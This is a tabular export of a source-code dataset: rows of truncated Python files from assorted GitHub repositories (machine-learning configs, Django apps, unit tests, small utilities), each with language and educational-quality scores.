max_stars_repo_path
stringlengths
4
286
max_stars_repo_name
stringlengths
5
119
max_stars_count
int64
0
191k
id
stringlengths
1
7
content
stringlengths
6
1.03M
content_cleaned
stringlengths
6
1.03M
language
stringclasses
111 values
language_score
float64
0.03
1
comments
stringlengths
0
556k
edu_score
float64
0.32
5.03
edu_int_score
int64
0
5
coding patterns/two pointers/sortedarr_square.py
mkoryor/Python
0
4900
<filename>coding patterns/two pointers/sortedarr_square.py """ [E] Given a sorted array, create a new array containing squares of all the number of the input array in the sorted order. Input: [-2, -1, 0, 2, 3] Output: [0, 1, 4, 4, 9] """ # Time: O(N) Space: O(n) def make_squares(arr): n = len(arr) squares =...
<filename>coding patterns/two pointers/sortedarr_square.py """ [E] Given a sorted array, create a new array containing squares of all the number of the input array in the sorted order. Input: [-2, -1, 0, 2, 3] Output: [0, 1, 4, 4, 9] """ # Time: O(N) Space: O(n) def make_squares(arr): n = len(arr) squares =...
en
0.52976
[E] Given a sorted array, create a new array containing squares of all the number of the input array in the sorted order. Input: [-2, -1, 0, 2, 3] Output: [0, 1, 4, 4, 9] # Time: O(N) Space: O(n)
3.886982
4
modules/evaluate/evaluate_step.py
Azure/aml-object-classification-pipeline
5
4901
import os from azureml.pipeline.steps import PythonScriptStep from azureml.core.runconfig import RunConfiguration from azureml.core.conda_dependencies import CondaDependencies from azureml.pipeline.core import PipelineData from azureml.pipeline.core import PipelineParameter from azureml.pipeline.steps import EstimatorS...
import os from azureml.pipeline.steps import PythonScriptStep from azureml.core.runconfig import RunConfiguration from azureml.core.conda_dependencies import CondaDependencies from azureml.pipeline.core import PipelineData from azureml.pipeline.core import PipelineParameter from azureml.pipeline.steps import EstimatorS...
en
0.573168
This step evaluates the trained model on the testing data and outputs the accuracy. :param model_dir: The reference to the directory containing the trained model :type model_dir: DataReference :param test_dir: The reference to the directory containing the testing data :type test_dir: DataReference ...
2.353987
2
configs/mobilenet_cfbi.py
yoxu515/CFBI
312
4902
import torch import argparse import os import sys import cv2 import time class Configuration(): def __init__(self): self.EXP_NAME = 'mobilenetv2_cfbi' self.DIR_ROOT = './' self.DIR_DATA = os.path.join(self.DIR_ROOT, 'datasets') self.DIR_DAVIS = os.path.join(self.DIR_DATA, 'DAVIS'...
import torch import argparse import os import sys import cv2 import time class Configuration(): def __init__(self): self.EXP_NAME = 'mobilenetv2_cfbi' self.DIR_ROOT = './' self.DIR_DATA = os.path.join(self.DIR_ROOT, 'datasets') self.DIR_DAVIS = os.path.join(self.DIR_DATA, 'DAVIS'...
en
0.579245
# n * 32 # if "None", evaluate the latest checkpoint. # dist
2.05847
2
js/matrixjs/matrix_compile.py
kennytilton/ConnectJS
7
4903
<gh_stars>1-10 #!/usr/bin/python2.4 import httplib, urllib, sys # Define the parameters for the POST request and encode them in # a URL-safe format. params = urllib.urlencode([ #('js_code', sys.argv[1]), ('code_url', 'https://raw.githubusercontent.com/kennytilton/MatrixJS/master/js/matrixjs/js/Matrix/Cells.j...
#!/usr/bin/python2.4 import httplib, urllib, sys # Define the parameters for the POST request and encode them in # a URL-safe format. params = urllib.urlencode([ #('js_code', sys.argv[1]), ('code_url', 'https://raw.githubusercontent.com/kennytilton/MatrixJS/master/js/matrixjs/js/Matrix/Cells.js'), ('code...
en
0.386746
#!/usr/bin/python2.4 # Define the parameters for the POST request and encode them in # a URL-safe format. #('js_code', sys.argv[1]), # Always use the following value for the Content-type header.
2.456673
2
tensorflow/python/util/tf_should_use_test.py
npow/tensorflow
0
4904
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
en
0.834766
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
1.723525
2
tools/jdk/local_java_repository.bzl
loongarch64/bazel
16,989
4905
<reponame>loongarch64/bazel # Copyright 2020 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unle...
# Copyright 2020 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
en
0.704299
# Copyright 2020 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
1.928431
2
corehq/apps/fixtures/resources/v0_1.py
SEL-Columbia/commcare-hq
1
4906
from couchdbkit import ResourceNotFound from tastypie import fields as tp_f from corehq.apps.api.resources import JsonResource from corehq.apps.api.resources.v0_1 import ( CustomResourceMeta, RequirePermissionAuthentication, ) from corehq.apps.api.util import get_object_or_not_exist from corehq.apps.fixtures.mo...
from couchdbkit import ResourceNotFound from tastypie import fields as tp_f from corehq.apps.api.resources import JsonResource from corehq.apps.api.resources.v0_1 import ( CustomResourceMeta, RequirePermissionAuthentication, ) from corehq.apps.api.util import get_object_or_not_exist from corehq.apps.fixtures.mo...
en
0.994504
# when null, that means the ref'd fixture type was not found
1.942275
2
tests/test_domain.py
broadinstitute/cert_manager_api
0
4907
# -*- coding: utf-8 -*- """Define the cert_manager.domain.Domain unit tests.""" # Don't warn about things that happen as that is part of unit testing # pylint: disable=protected-access # pylint: disable=no-member import json from requests.exceptions import HTTPError from testtools import TestCase import responses f...
# -*- coding: utf-8 -*- """Define the cert_manager.domain.Domain unit tests.""" # Don't warn about things that happen as that is part of unit testing # pylint: disable=protected-access # pylint: disable=no-member import json from requests.exceptions import HTTPError from testtools import TestCase import responses f...
en
0.764802
# -*- coding: utf-8 -*- Define the cert_manager.domain.Domain unit tests. # Don't warn about things that happen as that is part of unit testing # pylint: disable=protected-access # pylint: disable=no-member # pylint: disable=too-few-public-methods Serve as a Base class for all tests of the Domain class. # pylint: disab...
2.737921
3
texts.py
ProtKsen/pgame
2
4908
<reponame>ProtKsen/pgame """Text parts.""" SEPARATOR = '----------------------------------' CONT_GAME = 'enter для продолжения игры' GREETING = 'Добро пожаловать в игру ''Сундук сокровищ''!\n' \ 'Попробуй себя в роли капитана корабля, собери ' \ 'команду и достань все сокровища!' NAME_QUESTION ...
"""Text parts.""" SEPARATOR = '----------------------------------' CONT_GAME = 'enter для продолжения игры' GREETING = 'Добро пожаловать в игру ''Сундук сокровищ''!\n' \ 'Попробуй себя в роли капитана корабля, собери ' \ 'команду и достань все сокровища!' NAME_QUESTION = 'Как тебя зовут?' CHOO...
en
0.69788
Text parts.
3.194836
3
api/migrations/0001_initial.py
alerin345/Instagram-React
0
4909
<gh_stars>0 # Generated by Django 3.1.3 on 2021-01-07 00:42 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import django.utils.timezone class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(...
# Generated by Django 3.1.3 on 2021-01-07 00:42 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import django.utils.timezone class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUT...
en
0.86729
# Generated by Django 3.1.3 on 2021-01-07 00:42
1.72283
2
fastapi_router_controller/lib/controller_loader.py
KiraPC/fastapi-router-controller
21
4910
<reponame>KiraPC/fastapi-router-controller import os import importlib class ControllerLoader: """ The ControllerLoader class. """ @staticmethod def load(directory, package): """ It is an utility to load automatically all the python module presents on a given directory ...
import os import importlib class ControllerLoader: """ The ControllerLoader class. """ @staticmethod def load(directory, package): """ It is an utility to load automatically all the python module presents on a given directory """ for module in os.listdir(di...
en
0.568244
The ControllerLoader class. It is an utility to load automatically all the python module presents on a given directory
3.569113
4
app/mod_ecomm/controllers.py
VikrantReddy/Instagram2Shop
0
4911
from flask import Blueprint, Flask, send_from_directory from werkzeug.security import check_password_hash, generate_password_hash from app import db from app.mod_auth.forms import LoginForm from app.mod_auth.models import User mod_ecomm = Blueprint('products', __name__, url_prefix='/products', ...
from flask import Blueprint, Flask, send_from_directory from werkzeug.security import check_password_hash, generate_password_hash from app import db from app.mod_auth.forms import LoginForm from app.mod_auth.models import User mod_ecomm = Blueprint('products', __name__, url_prefix='/products', ...
none
1
1.610829
2
dagr_selenium/crawl_watchlist.py
phillmac/dagr_selenium
0
4912
from .functions import monitor_watchlist_action, manager with manager.get_dagr(): monitor_watchlist_action()
from .functions import monitor_watchlist_action, manager with manager.get_dagr(): monitor_watchlist_action()
none
1
1.250959
1
zenslackchat/eventsview.py
uktrade/zenslackchat
2
4913
import pprint import logging from django.conf import settings from rest_framework import status from rest_framework.views import APIView from rest_framework.response import Response from zenslackchat.message import handler from zenslackchat.models import SlackApp from zenslackchat.models import ZendeskApp class Eve...
import pprint import logging from django.conf import settings from rest_framework import status from rest_framework.views import APIView from rest_framework.response import Response from zenslackchat.message import handler from zenslackchat.models import SlackApp from zenslackchat.models import ZendeskApp class Eve...
en
0.882448
Handle Events using the webapp instead of using the RTM API. This is handy as i don't need to run a specifc bot process just to handle events. Instead I can just using the webapp REST API for this. Handy documentation for Slack events: https://api.slack.com/events-api The app needs to subscribe to ev...
2.127076
2
sdv/docker/sdvstate/internal/validator/airship/compute_check.py
opnfv/cirv-sdv
2
4914
<gh_stars>1-10 # Copyright 2020 University Of Delhi. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
# Copyright 2020 University Of Delhi. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in wr...
en
0.684982
# Copyright 2020 University Of Delhi. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in wr...
2.032803
2
production/pygsl-0.9.5/testing/__init__.py
juhnowski/FishingRod
1
4915
""" Here you find either new implemented modules or alternate implementations of already modules. This directory is intended to have a second implementation beside the main implementation to have a discussion which implementation to favor on the long run. """
""" Here you find either new implemented modules or alternate implementations of already modules. This directory is intended to have a second implementation beside the main implementation to have a discussion which implementation to favor on the long run. """
en
0.863529
Here you find either new implemented modules or alternate implementations of already modules. This directory is intended to have a second implementation beside the main implementation to have a discussion which implementation to favor on the long run.
1.407325
1
PythonServer/UnitTestCasesForWebSocket.py
Cyberlightning/2D-3DCapture
2
4916
''' Created on Mar 6, 2014 @author: tharanga ''' import unittest from time import sleep import EventService as es from EventService import WebSocketServer as ws from EventService import EventManager as em import socket from base64 import b64encode import struct import MySQLdb import json import EventService import fl...
''' Created on Mar 6, 2014 @author: tharanga ''' import unittest from time import sleep import EventService as es from EventService import WebSocketServer as ws from EventService import EventManager as em import socket from base64 import b64encode import struct import MySQLdb import json import EventService import fl...
en
0.567201
Created on Mar 6, 2014 @author: tharanga # Create a socket object # Get local machine name #print 'Response to invalid message<TestMessage> %s'%(data) # message = "Test message" #print 'Response to valid ws request %s'%wsresponse #print 'Response to un encoded Request %s'%(data) # print wsresponse #T...
2.134696
2
src/tests/client_side/test_main.py
JulianSobott/OpenDrive
1
4917
<filename>src/tests/client_side/test_main.py import os import threading import time import unittest from OpenDrive.client_side import file_changes_json as c_json from OpenDrive.client_side import interface from OpenDrive.client_side import main from OpenDrive.client_side import paths as client_paths from OpenDrive.ser...
<filename>src/tests/client_side/test_main.py import os import threading import time import unittest from OpenDrive.client_side import file_changes_json as c_json from OpenDrive.client_side import interface from OpenDrive.client_side import main from OpenDrive.client_side import paths as client_paths from OpenDrive.ser...
en
0.59563
# wait till changes.json is created # wait till synchronization finished # wait till waiting...
2.243698
2
site-packages/skimage/io/tests/test_io.py
oz90210/Pyto
0
4918
<gh_stars>0 import os import numpy as np from skimage import io, data_dir from skimage._shared import testing from skimage._shared.testing import assert_array_equal one_by_one_jpeg = ( b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01' b'\x00\x01\x00\x00\xff\xdb\x00C\x00\x03\x02\x02\x02\x02' b'\x02...
import os import numpy as np from skimage import io, data_dir from skimage._shared import testing from skimage._shared.testing import assert_array_equal one_by_one_jpeg = ( b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01' b'\x00\x01\x00\x00\xff\xdb\x00C\x00\x03\x02\x02\x02\x02' b'\x02\x03\x02\x02...
en
0.91405
# tweak data path so that file URI works on both unix and windows. # httpserver is a fixture provided by pytest-localserver # https://bitbucket.org/pytest-dev/pytest-localserver/ # it will serve anything you provide to it on its url. # we add a /test.jpg so that we can identify the content # by extension
2.073832
2
tests/core/feature_extraction/test_galaxyProcessor.py
EmilioCC/gti770-student-framework
0
4919
<reponame>EmilioCC/gti770-student-framework #!/usr/bin/env python # -*- coding: utf-8 -*- import os import numpy as np from unittest import TestCase from core.feature_extraction.galaxy.galaxy_processor import GalaxyProcessor from commons.helpers.dataset.strategies.galaxy_dataset.label_strategy import GalaxyDataSetLabe...
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import numpy as np from unittest import TestCase from core.feature_extraction.galaxy.galaxy_processor import GalaxyProcessor from commons.helpers.dataset.strategies.galaxy_dataset.label_strategy import GalaxyDataSetLabelStrategy from commons.helpers.dataset.conte...
en
0.628424
#!/usr/bin/env python # -*- coding: utf-8 -*- # Get the ground truth CSV file from script's parameters. # Create instance of data set loading strategies. # Set the context to galaxy label data set loading strategy. # Process galaxies. #features = galaxy_processor.process_galaxy(self.label_dataset)
2.464961
2
country/management/commands/populate_countries.py
okchaty/django-country
1
4920
from django.conf import settings from django.core.management import call_command from django.core.management.base import BaseCommand from os import path class Command(BaseCommand): help = "Populates data" def handle(self, *args, **options): fixture_path = path.join(path.dirname( path.dirn...
from django.conf import settings from django.core.management import call_command from django.core.management.base import BaseCommand from os import path class Command(BaseCommand): help = "Populates data" def handle(self, *args, **options): fixture_path = path.join(path.dirname( path.dirn...
none
1
1.863201
2
gmso/formats/formats_registry.py
chrisiacovella/gmso
20
4921
"""Registry utilities to handle formats for gmso Topology.""" class UnsupportedFileFormatError(Exception): """Exception to be raised whenever the file loading or saving is not supported.""" class Registry: """A registry to incorporate a callable with a file extension.""" def __init__(self): sel...
"""Registry utilities to handle formats for gmso Topology.""" class UnsupportedFileFormatError(Exception): """Exception to be raised whenever the file loading or saving is not supported.""" class Registry: """A registry to incorporate a callable with a file extension.""" def __init__(self): sel...
en
0.916997
Registry utilities to handle formats for gmso Topology. Exception to be raised whenever the file loading or saving is not supported. A registry to incorporate a callable with a file extension. Get the callable associated with extension. Decorator to aid saving. Register the method as saver for an extension. Decorator t...
2.570218
3
formatter.py
Staist/Python-Text-Formatter
0
4922
dosyaadi = input("Enter file name: ") dosyaadi = str(dosyaadi + ".txt") with open(dosyaadi, 'r') as file : dosyaicerigi = file.read() silinecek = str(input("Enter the text that you wish to delete: ")) dosyaicerigi = dosyaicerigi.replace(silinecek, '') with open(dosyaadi, 'w') as file: file.write(dosyai...
dosyaadi = input("Enter file name: ") dosyaadi = str(dosyaadi + ".txt") with open(dosyaadi, 'r') as file : dosyaicerigi = file.read() silinecek = str(input("Enter the text that you wish to delete: ")) dosyaicerigi = dosyaicerigi.replace(silinecek, '') with open(dosyaadi, 'w') as file: file.write(dosyai...
none
1
3.761837
4
covid19/classification/helpers.py
salvacarrion/mltests
0
4923
import tensorflow as tf @tf.function def BinaryAccuracy_Infiltrates(y_true, y_pred, i=0): return tf.keras.metrics.binary_accuracy(y_true[:, i], y_pred[:, i]) @tf.function def BinaryAccuracy_Pneumonia(y_true, y_pred, i=1): return tf.keras.metrics.binary_accuracy(y_true[:, i], y_pred[:, i]) @tf.function def...
import tensorflow as tf @tf.function def BinaryAccuracy_Infiltrates(y_true, y_pred, i=0): return tf.keras.metrics.binary_accuracy(y_true[:, i], y_pred[:, i]) @tf.function def BinaryAccuracy_Pneumonia(y_true, y_pred, i=1): return tf.keras.metrics.binary_accuracy(y_true[:, i], y_pred[:, i]) @tf.function def...
en
0.622774
# Problems with EarlyStopping kwargs # Multi-label ##### Multi-label classification ######") # Add normal class ##### Multi-class classification (cls: '{single_output_idx}') ######") # Select backbone # Instantiate base model with pre-trained weights # Freeze base model # base_model.trainable = istrainable # Create a n...
2.367948
2
null/twitter/twmedia-dl.py
mikoim/funstuff
0
4924
<reponame>mikoim/funstuff import re import json import time import sys import httplib2 from twitter import * import magic class TwitterMediaDL: http = httplib2.Http(".cache") baseUrl = "https://twitter.com" consumer_key = "" consumer_secret = "" access_token_key = "" access_token_secret = ""...
import re import json import time import sys import httplib2 from twitter import * import magic class TwitterMediaDL: http = httplib2.Http(".cache") baseUrl = "https://twitter.com" consumer_key = "" consumer_secret = "" access_token_key = "" access_token_secret = "" t = Twitter(auth=OAu...
none
1
2.856597
3
tensorflow/contrib/metrics/__init__.py
DEVESHTARASIA/tensorflow
384
4925
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
en
0.482567
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
1.541221
2
girder/models/group.py
scottwittenburg/girder
0
4926
#!/usr/bin/env python # -*- coding: utf-8 -*- ############################################################################### # Copyright 2013 Kitware Inc. # # Licensed under the Apache License, Version 2.0 ( the "License" ); # you may not use this file except in compliance with the License. # You may obtain a cop...
#!/usr/bin/env python # -*- coding: utf-8 -*- ############################################################################### # Copyright 2013 Kitware Inc. # # Licensed under the Apache License, Version 2.0 ( the "License" ); # you may not use this file except in compliance with the License. # You may obtain a cop...
en
0.879639
#!/usr/bin/env python # -*- coding: utf-8 -*- ############################################################################### # Copyright 2013 Kitware Inc. # # Licensed under the Apache License, Version 2.0 ( the "License" ); # you may not use this file except in compliance with the License. # You may obtain a copy...
1.850165
2
docker/docker-puppet.py
mail2nsrajesh/tripleo-heat-templates
0
4927
#!/usr/bin/env python # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
#!/usr/bin/env python # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
en
0.70134
#!/usr/bin/env python # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
2.001952
2
main.py
acitv/plugin.video.aci
0
4928
# -*- coding: utf-8 -*- import sys import urllib import urlparse # import xbmc import xbmcgui import xbmcplugin import aci # Get the plugin url in plugin:// notation. _url = sys.argv[0] # Get the plugin handle as an integer number. _handle = int(sys.argv[1]) # Get an instance of ACI. ATV = aci.ACI() ATV.load_aci()...
# -*- coding: utf-8 -*- import sys import urllib import urlparse # import xbmc import xbmcgui import xbmcplugin import aci # Get the plugin url in plugin:// notation. _url = sys.argv[0] # Get the plugin handle as an integer number. _handle = int(sys.argv[1]) # Get an instance of ACI. ATV = aci.ACI() ATV.load_aci()...
en
0.628229
# -*- coding: utf-8 -*- # import xbmc # Get the plugin url in plugin:// notation. # Get the plugin handle as an integer number. # Get an instance of ACI. # Encode user agent headers for video. Create a URL for calling the plugin recursively from the given set of keyword arguments. :param kwargs: "argument=value" p...
3.008508
3
coremltools/converters/mil/frontend/tensorflow/converter.py
VadimLevin/coremltools
3
4929
<filename>coremltools/converters/mil/frontend/tensorflow/converter.py # Copyright (c) 2020, Apple Inc. All rights reserved. # # Use of this source code is governed by a BSD-3-clause license that can be # found in the LICENSE.txt file or at https://opensource.org/licenses/BSD-3-Clause import logging from coremltools...
<filename>coremltools/converters/mil/frontend/tensorflow/converter.py # Copyright (c) 2020, Apple Inc. All rights reserved. # # Use of this source code is governed by a BSD-3-clause license that can be # found in the LICENSE.txt file or at https://opensource.org/licenses/BSD-3-Clause import logging from coremltools...
en
0.762533
# Copyright (c) 2020, Apple Inc. All rights reserved. # # Use of this source code is governed by a BSD-3-clause license that can be # found in the LICENSE.txt file or at https://opensource.org/licenses/BSD-3-Clause # TranscriptionContext maintains a map of tf_node.name --> ssa_var available # to the current TF --> t...
1.809677
2
pylinkcheck.py
clayball/pylinkcheck
0
4930
<reponame>clayball/pylinkcheck<filename>pylinkcheck.py #!/usr/bin/env python # Copyright (c) 2016 <NAME> # # A Python-based link checker. # # Usage: pylinkcheck.py -r https://www.example.com # # By default, we can spider and check all of the links found at the URL's # domain. For example, a check of https://foo.exa...
#!/usr/bin/env python # Copyright (c) 2016 <NAME> # # A Python-based link checker. # # Usage: pylinkcheck.py -r https://www.example.com # # By default, we can spider and check all of the links found at the URL's # domain. For example, a check of https://foo.example.com will only check # links with the base URL path...
en
0.622422
#!/usr/bin/env python # Copyright (c) 2016 <NAME> # # A Python-based link checker. # # Usage: pylinkcheck.py -r https://www.example.com # # By default, we can spider and check all of the links found at the URL's # domain. For example, a check of https://foo.example.com will only check # links with the base URL path of ...
3.119724
3
moto/dynamodb2/parsing/expressions.py
orenmazor/moto
1
4931
<reponame>orenmazor/moto import logging from abc import abstractmethod import abc import six from collections import deque from moto.dynamodb2.parsing.ast_nodes import ( UpdateExpression, UpdateExpressionSetClause, UpdateExpressionSetActions, UpdateExpressionSetAction, UpdateExpressionRemoveActions...
import logging from abc import abstractmethod import abc import six from collections import deque from moto.dynamodb2.parsing.ast_nodes import ( UpdateExpression, UpdateExpressionSetClause, UpdateExpressionSetActions, UpdateExpressionSetAction, UpdateExpressionRemoveActions, UpdateExpressionRem...
en
0.777542
For nodes that can be nested in themselves (recursive). Take for example UpdateExpression's grammar: UpdateExpression => UpdateExpressionClause* UpdateExpression => UpdateExpressionClause* UpdateExpression If we consider it of structure NestableExpression => TargetClause* NestableExpression => Tar...
2.750154
3
dftbplus_step/tk_optimization.py
molssi-seamm/dftbplus_step
1
4932
# -*- coding: utf-8 -*- """The graphical part of a DFTB+ Optimization node""" import logging import tkinter as tk import tkinter.ttk as ttk import dftbplus_step logger = logging.getLogger(__name__) class TkOptimization(dftbplus_step.TkEnergy): def __init__( self, tk_flowchart=None, nod...
# -*- coding: utf-8 -*- """The graphical part of a DFTB+ Optimization node""" import logging import tkinter as tk import tkinter.ttk as ttk import dftbplus_step logger = logging.getLogger(__name__) class TkOptimization(dftbplus_step.TkEnergy): def __init__( self, tk_flowchart=None, nod...
en
0.352959
# -*- coding: utf-8 -*- The graphical part of a DFTB+ Optimization node Initialize the graphical Tk DFTB+ optimization step Keyword arguments: Probably need to add our dialog... Create the dialog! # Create all the widgets # Frame to isolate widgets # And the widgets in our frame Layout the optimization frame a...
2.69872
3
console.py
aplneto/redes_projeto
1
4933
<filename>console.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- """Módulo de configuração dos consoles """ from Crypto.PublicKey import RSA import socket import os import base64 class Console(object): """Superclasse Console Classe base para os terminais de cliente e servidor. ...
<filename>console.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- """Módulo de configuração dos consoles """ from Crypto.PublicKey import RSA import socket import os import base64 class Console(object): """Superclasse Console Classe base para os terminais de cliente e servidor. ...
pt
0.856257
#!/usr/bin/env python3 # -*- coding: utf-8 -*- Módulo de configuração dos consoles Superclasse Console Classe base para os terminais de cliente e servidor. Attributes: logged (bool): True caso o usuário tenha realizado o login com sucesso, False caso contrário Método construt...
3.110499
3
sandbox/settings.py
OmenApps/marion
0
4934
<filename>sandbox/settings.py<gh_stars>0 """ Django settings for marion project. """ from pathlib import Path from tempfile import mkdtemp from configurations import Configuration, values BASE_DIR = Path(__file__).parent.resolve() DATA_DIR = Path("/data") # pylint: disable=no-init class Base(Configuration): ""...
<filename>sandbox/settings.py<gh_stars>0 """ Django settings for marion project. """ from pathlib import Path from tempfile import mkdtemp from configurations import Configuration, values BASE_DIR = Path(__file__).parent.resolve() DATA_DIR = Path("/data") # pylint: disable=no-init class Base(Configuration): ""...
en
0.799229
Django settings for marion project. # pylint: disable=no-init This is the base configuration every configuration (aka environnement) should inherit from. It is recommended to configure third-party applications by creating a configuration mixins in ./configurations and compose the Base configuration with tho...
2.121568
2
skywalking/client/grpc.py
cooolr/skywalking-python
0
4935
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
en
0.863124
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
1.655899
2
coingate/migrations/0004_auto_20200207_1959.py
glitzybunny/coingate_sandbox_payment
2
4936
# Generated by Django 3.0.3 on 2020-02-07 19:59 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('coingate', '0003_auto_20200207_1513'), ] operations = [ migrations.RemoveField( model_name='payment', name='token', ...
# Generated by Django 3.0.3 on 2020-02-07 19:59 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('coingate', '0003_auto_20200207_1513'), ] operations = [ migrations.RemoveField( model_name='payment', name='token', ...
en
0.798064
# Generated by Django 3.0.3 on 2020-02-07 19:59
1.641393
2
space_trace/__init__.py
SpaceTeam/space-event-trace
2
4937
import toml from flask import Flask from flask_sqlalchemy import SQLAlchemy app = Flask(__name__, instance_relative_config=True) app.config.from_file("config.toml", load=toml.load) db = SQLAlchemy(app) @app.before_first_request def create_table(): db.create_all() from space_trace import views, cli
import toml from flask import Flask from flask_sqlalchemy import SQLAlchemy app = Flask(__name__, instance_relative_config=True) app.config.from_file("config.toml", load=toml.load) db = SQLAlchemy(app) @app.before_first_request def create_table(): db.create_all() from space_trace import views, cli
none
1
2.306781
2
ng/distributions/Distribution.py
forons/noise-generator
0
4938
<filename>ng/distributions/Distribution.py<gh_stars>0 #!/usr/bin/env python3 # -*- coding: utf-8 -*- import logging from enum import Enum from .NormalDist import NormalDist from .UniformDist import UniformDist class Distribution(Enum): UNIFORM = 0 GAUSSIAN = 1 POISSON = 2 @staticmethod def determ...
<filename>ng/distributions/Distribution.py<gh_stars>0 #!/usr/bin/env python3 # -*- coding: utf-8 -*- import logging from enum import Enum from .NormalDist import NormalDist from .UniformDist import UniformDist class Distribution(Enum): UNIFORM = 0 GAUSSIAN = 1 POISSON = 2 @staticmethod def determ...
en
0.308914
#!/usr/bin/env python3 # -*- coding: utf-8 -*-
2.912941
3
test/rename.py
Riteme/test
3
4939
import os import sys filename = sys.argv[1] from_id = int(sys.argv[2]) to_id = int(sys.argv[2]) for i in range(from_id, to_id + 1): sys.system("mv {0}.in{1} {0}{1}.in".format(filename, i)) sys.system("mv {0}.out{1} {0}{1}.out".format(filename, i))
import os import sys filename = sys.argv[1] from_id = int(sys.argv[2]) to_id = int(sys.argv[2]) for i in range(from_id, to_id + 1): sys.system("mv {0}.in{1} {0}{1}.in".format(filename, i)) sys.system("mv {0}.out{1} {0}{1}.out".format(filename, i))
none
1
2.599586
3
TransitPass/urls.py
Savior-19/Savior19
0
4940
<gh_stars>0 from django.urls import path from . import views urlpatterns = [ path('apply/', views.FillPassApplication, name='transit-pass-application-form'), path('application-details/<int:appln_id>', views.DisplayApplicationToken, name='application-details'), path('view-application-list/', views.Displa...
from django.urls import path from . import views urlpatterns = [ path('apply/', views.FillPassApplication, name='transit-pass-application-form'), path('application-details/<int:appln_id>', views.DisplayApplicationToken, name='application-details'), path('view-application-list/', views.DisplayApplication...
none
1
1.738053
2
dash_docs/chapters/dash_core_components/Textarea/examples/textarea_basic.py
kozo2/dash-docs
1
4941
import dash from dash.dependencies import Input, Output import dash_html_components as html import dash_core_components as dcc app = dash.Dash(__name__) app.layout = html.Div([ dcc.Textarea( id='textarea-example', value='Textarea content initialized\nwith multiple lines of text', style={'w...
import dash from dash.dependencies import Input, Output import dash_html_components as html import dash_core_components as dcc app = dash.Dash(__name__) app.layout = html.Div([ dcc.Textarea( id='textarea-example', value='Textarea content initialized\nwith multiple lines of text', style={'w...
none
1
2.536007
3
tests/test_wrapped_driver.py
balexander85/wrapped_driver
0
4942
